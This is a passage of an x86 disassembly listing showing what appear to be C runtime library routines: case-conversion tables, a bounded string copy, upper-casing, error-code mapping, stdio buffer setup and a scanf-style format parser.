and byte_4DC6E0[eax], 0
loc_420218: ; CODE XREF: sub_4200E8+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_4201DE
jmp short loc_42026A
; ---------------------------------------------------------------------------
loc_420221: ; CODE XREF: sub_4200E8+1Dj
xor eax, eax
mov esi, 100h
loc_420228: ; CODE XREF: sub_4200E8+180j
cmp eax, 41h
jb short loc_420246
cmp eax, 5Ah
ja short loc_420246
or byte_4DC7E1[eax], 10h
mov cl, al
add cl, 20h
loc_42023E: ; CODE XREF: sub_4200E8+174j
mov byte_4DC6E0[eax], cl
jmp short loc_420265
; ---------------------------------------------------------------------------
loc_420246: ; CODE XREF: sub_4200E8+143j
; sub_4200E8+148j
cmp eax, 61h
jb short loc_42025E
cmp eax, 7Ah
ja short loc_42025E
or byte_4DC7E1[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_42023E
; ---------------------------------------------------------------------------
loc_42025E: ; CODE XREF: sub_4200E8+161j
; sub_4200E8+166j
and byte_4DC6E0[eax], 0
loc_420265: ; CODE XREF: sub_4200E8+15Cj
inc eax
cmp eax, esi
jb short loc_420228
loc_42026A: ; CODE XREF: sub_4200E8+137j
pop esi
leave
retn
sub_4200E8 endp
; =============== S U B R O U T I N E =======================================
sub_42026D proc near ; CODE XREF: ___:00422E7Bp
; ___:00422ED7p ...
cmp dword_4DC914, 0
jnz short locret_420288
push 0FFFFFFFDh
call sub_41FEA9
pop ecx
mov dword_4DC914, 1
locret_420288: ; CODE XREF: sub_42026D+7j
retn
sub_42026D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp
; sub_41B9D1+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_4DC6DC, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_4202AD
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_41B5F0
add esp, 0Ch
jmp short loc_420310
; ---------------------------------------------------------------------------
loc_4202AD: ; CODE XREF: sub_420289+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_4202F2
mov ecx, [ebp+arg_4]
loc_4202B8: ; CODE XREF: sub_420289+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_4DC7E1[esi], 4
mov [edi], al
jz short loc_4202DC
inc edi
inc ecx
test edx, edx
jz short loc_4202E8
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_4202EE
jmp short loc_4202E2
; ---------------------------------------------------------------------------
loc_4202DC: ; CODE XREF: sub_420289+3Ej
inc edi
inc ecx
test al, al
jz short loc_4202F2
loc_4202E2: ; CODE XREF: sub_420289+51j
test edx, edx
jnz short loc_4202B8
jmp short loc_4202F2
; ---------------------------------------------------------------------------
loc_4202E8: ; CODE XREF: sub_420289+44j
and byte ptr [edi-1], 0
jmp short loc_4202F2
; ---------------------------------------------------------------------------
loc_4202EE: ; CODE XREF: sub_420289+4Fj
and byte ptr [edi-2], 0
loc_4202F2: ; CODE XREF: sub_420289+2Aj
; sub_420289+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_42030D
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_42030D: ; CODE XREF: sub_420289+6Fj
mov eax, [ebp+arg_0]
loc_420310: ; CODE XREF: sub_420289+22j
pop edi
pop ebp
retn
sub_420289 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DB334, 0
push ebx
jnz short loc_42033E
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_4203DC
cmp eax, 7Ah
jg loc_4203DC
sub eax, 20h
jmp loc_4203DC
; ---------------------------------------------------------------------------
loc_42033E: ; CODE XREF: sub_420313+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_420371
cmp dword_43C504, 1
jle short loc_42035E
push 2
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420369
; ---------------------------------------------------------------------------
loc_42035E: ; CODE XREF: sub_420313+3Dj
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 2
loc_420369: ; CODE XREF: sub_420313+49j
test eax, eax
jnz short loc_420371
loc_42036D: ; CODE XREF: sub_420313+AFj
mov eax, ebx
jmp short loc_4203DC
; ---------------------------------------------------------------------------
loc_420371: ; CODE XREF: sub_420313+34j
; sub_420313+58j
mov edx, off_43C2F8
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_420394
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_42039D
; ---------------------------------------------------------------------------
loc_420394: ; CODE XREF: sub_420313+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_42039D: ; CODE XREF: sub_420313+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_4DB334
call sub_422ACA
add esp, 20h
test eax, eax
jz short loc_42036D
cmp eax, 1
jnz short loc_4203CF
movzx eax, [ebp+var_4]
jmp short loc_4203DC
; ---------------------------------------------------------------------------
loc_4203CF: ; CODE XREF: sub_420313+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_4203DC: ; CODE XREF: sub_420313+14j
; sub_420313+1Dj ...
pop ebx
leave
retn
sub_420313 endp
; =============== S U B R O U T I N E =======================================
sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp
; sub_41D3BE+16p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4DB27C, ecx
mov eax, offset dword_43C610
loc_4203F0: ; CODE XREF: sub_4203DF+1Ej
cmp ecx, [eax]
jz short loc_420414
add eax, 8
inc edx
cmp eax, offset dword_43C778
jl short loc_4203F0
cmp ecx, 13h
jb short loc_420421
cmp ecx, 24h
ja short loc_420421
mov dword_4DB278, 0Dh
retn
; ---------------------------------------------------------------------------
loc_420414: ; CODE XREF: sub_4203DF+13j
mov eax, dword_43C614[edx*8]
mov dword_4DB278, eax
retn
; ---------------------------------------------------------------------------
loc_420421: ; CODE XREF: sub_4203DF+23j
; sub_4203DF+28j
cmp ecx, 0BCh
jb short loc_42043B
cmp ecx, 0CAh
mov dword_4DB278, 8
jbe short locret_420445
loc_42043B: ; CODE XREF: sub_4203DF+48j
mov dword_4DB278, 16h
locret_420445: ; CODE XREF: sub_4203DF+5Aj
retn
sub_4203DF endp
; =============== S U B R O U T I N E =======================================
sub_420446 proc near ; CODE XREF: sub_41BE06+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_423E35
test eax, eax
pop ecx
jz short loc_4204CF
cmp esi, offset dword_43CA08
jnz short loc_420464
xor eax, eax
jmp short loc_42046F
; ---------------------------------------------------------------------------
loc_420464: ; CODE XREF: sub_420446+18j
cmp esi, offset dword_43CA28
jnz short loc_4204CF
push 1
pop eax
loc_42046F: ; CODE XREF: sub_420446+1Cj
inc dword_4DB460
test word ptr [esi+0Ch], 10Ch
jnz short loc_4204CF
cmp dword_4DB304[eax*4], 0
push ebx
push edi
lea edi, ds:4DB304h[eax*4]
mov ebx, 1000h
jnz short loc_4204B5
push ebx
call sub_41B4D5
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_4204B5
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_4204C2
; ---------------------------------------------------------------------------
loc_4204B5: ; CODE XREF: sub_420446+4Dj
; sub_420446+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_4204C2: ; CODE XREF: sub_420446+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4204CF: ; CODE XREF: sub_420446+10j
; sub_420446+24j ...
xor eax, eax
pop esi
retn
sub_420446 endp
; =============== S U B R O U T I N E =======================================
sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_4204FD
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_42050E
push esi
call sub_41DB8B
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4204FD: ; CODE XREF: sub_4204D3+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_42050E
push eax
call sub_41DB8B
pop ecx
loc_42050E: ; CODE XREF: sub_4204D3+10j
; sub_4204D3+32j
pop esi
retn
sub_4204D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420510 proc near ; CODE XREF: sub_41C645+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_420F16
mov edi, [ebp+arg_0]
jmp short loc_42053F
; ---------------------------------------------------------------------------
loc_42053A: ; CODE XREF: sub_420510+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_42053F: ; CODE XREF: sub_420510+28j
cmp dword_43C504, 1
jle short loc_420557
movzx eax, al
push 8
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_420566
; ---------------------------------------------------------------------------
loc_420557: ; CODE XREF: sub_420510+36j
mov ecx, off_43C2F8
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_420566: ; CODE XREF: sub_420510+45j
cmp eax, ebx
jz short loc_4205A0
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_420F9D
pop ecx
pop ecx
push eax
call sub_420F86
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41D670
add esp, 0Ch
loc_42058E: ; CODE XREF: sub_420510+8Ej
test eax, eax
jz short loc_4205A0
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41D670
pop ecx
jmp short loc_42058E
; ---------------------------------------------------------------------------
loc_4205A0: ; CODE XREF: sub_420510+58j
; sub_420510+80j
cmp byte ptr [esi], 25h
jnz loc_420E82
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_4205D7: ; CODE XREF: sub_420510+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_43C504, 1
jle short loc_4205F4
movzx eax, bl
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_420603
; ---------------------------------------------------------------------------
loc_4205F4: ; CODE XREF: sub_420510+D3j
mov ecx, off_43C2F8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_420603: ; CODE XREF: sub_420510+E2j
test eax, eax
jz short loc_420619
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420619: ; CODE XREF: sub_420510+F5j
cmp ebx, 4Eh
jg short loc_42065C
jz short loc_42067E
cmp ebx, 2Ah
jz short loc_420657
cmp ebx, 46h
jz short loc_42067E
cmp ebx, 49h
jz short loc_420639
cmp ebx, 4Ch
jnz short loc_42066B
inc [ebp+var_D]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420639: ; CODE XREF: sub_420510+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_42066B
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_42066B
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420657: ; CODE XREF: sub_420510+113j
inc [ebp+var_E]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_42065C: ; CODE XREF: sub_420510+10Cj
cmp ebx, 68h
jz short loc_420678
cmp ebx, 6Ch
jz short loc_420670
cmp ebx, 77h
jz short loc_420673
loc_42066B: ; CODE XREF: sub_420510+122j
; sub_420510+12Dj ...
inc [ebp+var_F]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420670: ; CODE XREF: sub_420510+154j
inc [ebp+var_D]
loc_420673: ; CODE XREF: sub_420510+159j
inc [ebp+var_5]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420678: ; CODE XREF: sub_420510+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_42067E: ; CODE XREF: sub_420510+107j
; sub_420510+10Ej ...
cmp [ebp+var_F], 0
jz loc_4205D7
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_4206A3
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_4206A3: ; CODE XREF: sub_420510+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_4206C1
mov al, [esi]
cmp al, 53h
jz short loc_4206BD
cmp al, 43h
jz short loc_4206BD
or [ebp+var_5], 0FFh
jmp short loc_4206C1
; ---------------------------------------------------------------------------
loc_4206BD: ; CODE XREF: sub_420510+1A1j
; sub_420510+1A5j
mov [ebp+var_5], 1
loc_4206C1: ; CODE XREF: sub_420510+19Bj
; sub_420510+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_4206FA
cmp esi, 63h
jz short loc_4206EB
cmp esi, 7Bh
jz short loc_4206EB
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_420F9D
pop ecx
jmp short loc_4206F6
; ---------------------------------------------------------------------------
loc_4206EB: ; CODE XREF: sub_420510+1C5j
; sub_420510+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
loc_4206F6: ; CODE XREF: sub_420510+1D9j
pop ecx
mov [ebp+var_14], eax
loc_4206FA: ; CODE XREF: sub_420510+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_42070A
cmp [ebp+var_C], eax
jz loc_420EE6
loc_42070A: ; CODE XREF: sub_420510+1EFj
cmp esi, 6Fh
jg loc_420971
jz loc_420C23
cmp esi, 63h
jz loc_42094E
cmp esi, 64h
jz loc_420C23
jle loc_42099B
cmp esi, 67h
jle short loc_42076E
cmp esi, 69h
jz short loc_420756
cmp esi, 6Eh
jnz loc_42099B
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_420E51
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_420756: ; CODE XREF: sub_420510+229j
push 64h
pop esi
loc_420759: ; CODE XREF: sub_420510+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_4209E3
mov [ebp+var_17], 1
jmp loc_4209E8
; ---------------------------------------------------------------------------
loc_42076E: ; CODE XREF: sub_420510+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_42078A
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_42078F
; ---------------------------------------------------------------------------
loc_42078A: ; CODE XREF: sub_420510+26Aj
cmp ebx, 2Bh
jnz short loc_4207A6
loc_42078F: ; CODE XREF: sub_420510+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4207A9
; ---------------------------------------------------------------------------
loc_4207A6: ; CODE XREF: sub_420510+27Dj
mov edi, [ebp+arg_0]
loc_4207A9: ; CODE XREF: sub_420510+294j
cmp [ebp+var_20], 0
jz short loc_4207B8
cmp [ebp+var_C], 15Dh
jle short loc_4207BF
loc_4207B8: ; CODE XREF: sub_420510+29Dj
mov [ebp+var_C], 15Dh
loc_4207BF: ; CODE XREF: sub_420510+2A6j
; sub_420510+2F2j
cmp dword_43C504, 1
jle short loc_4207D4
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_4207DF
; ---------------------------------------------------------------------------
loc_4207D4: ; CODE XREF: sub_420510+2B6j
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 4
loc_4207DF: ; CODE XREF: sub_420510+2C2j
test eax, eax
jz short loc_420804
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420804
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4207BF
; ---------------------------------------------------------------------------
loc_420804: ; CODE XREF: sub_420510+2D1j
; sub_420510+2DBj
cmp byte_43C508, bl
jnz short loc_420872
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420872
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
mov al, byte_43C508
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_42082D: ; CODE XREF: sub_420510+360j
cmp dword_43C504, 1
jle short loc_420842
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_42084D
; ---------------------------------------------------------------------------
loc_420842: ; CODE XREF: sub_420510+324j
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 4
loc_42084D: ; CODE XREF: sub_420510+330j
test eax, eax
jz short loc_420872
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420872
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_42082D
; ---------------------------------------------------------------------------
loc_420872: ; CODE XREF: sub_420510+2FAj
; sub_420510+304j ...
cmp [ebp+var_1C], 0
jz loc_42090A
cmp ebx, 65h
jz short loc_42088A
cmp ebx, 45h
jnz loc_42090A
loc_42088A: ; CODE XREF: sub_420510+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42090A
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_4208B1
mov [esi], al
inc esi
jmp short loc_4208B6
; ---------------------------------------------------------------------------
loc_4208B1: ; CODE XREF: sub_420510+39Aj
cmp ebx, 2Bh
jnz short loc_4208D4
loc_4208B6: ; CODE XREF: sub_420510+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_4208C5
and [ebp+var_C], eax
jmp short loc_4208D4
; ---------------------------------------------------------------------------
loc_4208C5: ; CODE XREF: sub_420510+3AEj
; sub_420510+3F8j
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_4208D4: ; CODE XREF: sub_420510+3A4j
; sub_420510+3B3j
cmp dword_43C504, 1
jle short loc_4208E9
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_4208F4
; ---------------------------------------------------------------------------
loc_4208E9: ; CODE XREF: sub_420510+3CBj
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 4
loc_4208F4: ; CODE XREF: sub_420510+3D7j
test eax, eax
jz short loc_42090A
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42090A
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_4208C5
; ---------------------------------------------------------------------------
loc_42090A: ; CODE XREF: sub_420510+366j
; sub_420510+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_420F86
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_420F16
cmp [ebp+var_E], 0
jnz loc_420E77
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43C8A8
add esp, 0Ch
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_42094E: ; CODE XREF: sub_420510+20Cj
cmp [ebp+var_20], eax
jnz short loc_42095D
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_42095D: ; CODE XREF: sub_420510+441j
cmp [ebp+var_5], 0
jle short loc_420967
mov [ebp+var_16], 1
loc_420967: ; CODE XREF: sub_420510+451j
mov edi, offset dword_43C780
jmp loc_420A7C
; ---------------------------------------------------------------------------
loc_420971: ; CODE XREF: sub_420510+1FDj
mov eax, esi
sub eax, 70h
jz loc_420C1F
sub eax, 3
jz loc_420A6D
dec eax
dec eax
jz loc_420C23
sub eax, 3
jz loc_420759
sub eax, 3
jz short loc_4209BF
loc_42099B: ; CODE XREF: sub_420510+21Bj
; sub_420510+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_420EE6
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_420E77
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_4209BF: ; CODE XREF: sub_420510+489j
cmp [ebp+var_5], 0
jle short loc_4209C9
mov [ebp+var_16], 1
loc_4209C9: ; CODE XREF: sub_420510+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_420A80
mov eax, edi
lea edi, [eax+1]
jmp loc_420A7C
; ---------------------------------------------------------------------------
loc_4209E3: ; CODE XREF: sub_420510+24Fj
cmp ebx, 2Bh
jnz short loc_420A0A
loc_4209E8: ; CODE XREF: sub_420510+259j
dec [ebp+var_C]
jnz short loc_4209F9
cmp [ebp+var_20], 0
jz short loc_4209F9
mov [ebp+var_F], 1
jmp short loc_420A0A
; ---------------------------------------------------------------------------
loc_4209F9: ; CODE XREF: sub_420510+4DBj
; sub_420510+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420A0A: ; CODE XREF: sub_420510+4D6j
; sub_420510+4E7j
cmp ebx, 30h
jnz loc_420C58
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_420A58
cmp bl, 58h
jz short loc_420A58
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_420A42
push 6Fh
loc_420A3C: ; CODE XREF: sub_420510+55Bj
pop esi
jmp loc_420C58
; ---------------------------------------------------------------------------
loc_420A42: ; CODE XREF: sub_420510+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420F86
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_420C55
; ---------------------------------------------------------------------------
loc_420A58: ; CODE XREF: sub_420510+517j
; sub_420510+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_420A3C
; ---------------------------------------------------------------------------
loc_420A6D: ; CODE XREF: sub_420510+46Fj
cmp [ebp+var_5], 0
jle short loc_420A77
mov [ebp+var_16], 1
loc_420A77: ; CODE XREF: sub_420510+561j
mov edi, offset dword_43C778
loc_420A7C: ; CODE XREF: sub_420510+45Cj
; sub_420510+4CEj
or [ebp+var_18], 0FFh
loc_420A80: ; CODE XREF: sub_420510+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_41B590
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_420AA4
cmp byte ptr [edi], 5Dh
jnz short loc_420AA4
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_420AA7
; ---------------------------------------------------------------------------
loc_420AA4: ; CODE XREF: sub_420510+584j
; sub_420510+589j
mov dl, [ebp+var_35]
loc_420AA7: ; CODE XREF: sub_420510+592j
; sub_420510+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_420B0C
inc edi
cmp al, 2Dh
jnz short loc_420AF3
test dl, dl
jz short loc_420AF3
mov cl, [edi]
cmp cl, 5Dh
jz short loc_420AF3
inc edi
cmp dl, cl
jnb short loc_420AC6
mov al, cl
jmp short loc_420ACA
; ---------------------------------------------------------------------------
loc_420AC6: ; CODE XREF: sub_420510+5B0j
mov al, dl
mov dl, cl
loc_420ACA: ; CODE XREF: sub_420510+5B4j
cmp dl, al
ja short loc_420AEF
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_420AD7: ; CODE XREF: sub_420510+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_420AD7
loc_420AEF: ; CODE XREF: sub_420510+5BCj
xor dl, dl
jmp short loc_420AA7
; ---------------------------------------------------------------------------
loc_420AF3: ; CODE XREF: sub_420510+5A0j
; sub_420510+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_420AA7
; ---------------------------------------------------------------------------
loc_420B0C: ; CODE XREF: sub_420510+59Bj
cmp byte ptr [edi], 0
jz loc_420F16
cmp [ebp+var_3C], 7Bh
jnz short loc_420B1E
mov [ebp+arg_4], edi
loc_420B1E: ; CODE XREF: sub_420510+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_420F86
pop ecx
pop ecx
loc_420B35: ; CODE XREF: sub_420510+6BCj
; sub_420510+6C4j
cmp [ebp+var_20], 0
jz short loc_420B49
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_420BE5
loc_420B49: ; CODE XREF: sub_420510+629j
inc [ebp+var_4]
push edi
call sub_420F6C
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_420BD9
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_420BD9
cmp [ebp+var_E], 0
jnz short loc_420BD1
cmp [ebp+var_16], 0
jz short loc_420BC6
mov ecx, off_43C2F8
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420BA5
inc [ebp+var_4]
push edi
call sub_420F6C
pop ecx
mov [ebp+var_37], al
loc_420BA5: ; CODE XREF: sub_420510+686j
push dword_43C504
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_423EC3
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_420BC9
; ---------------------------------------------------------------------------
loc_420BC6: ; CODE XREF: sub_420510+673j
mov [esi], al
inc esi
loc_420BC9: ; CODE XREF: sub_420510+6B4j
mov [ebp+var_2C], esi
jmp loc_420B35
; ---------------------------------------------------------------------------
loc_420BD1: ; CODE XREF: sub_420510+66Dj
inc [ebp+var_30]
jmp loc_420B35
; ---------------------------------------------------------------------------
loc_420BD9: ; CODE XREF: sub_420510+649j
; sub_420510+667j
dec [ebp+var_4]
push edi
push eax
call sub_420F86
pop ecx
pop ecx
loc_420BE5: ; CODE XREF: sub_420510+633j
cmp [ebp+var_30], esi
jz loc_420F16
cmp [ebp+var_E], 0
jnz loc_420E77
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_420E77
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_420C17
and word ptr [eax], 0
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_420C17: ; CODE XREF: sub_420510+6FCj
and byte ptr [eax], 0
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_420C1F: ; CODE XREF: sub_420510+466j
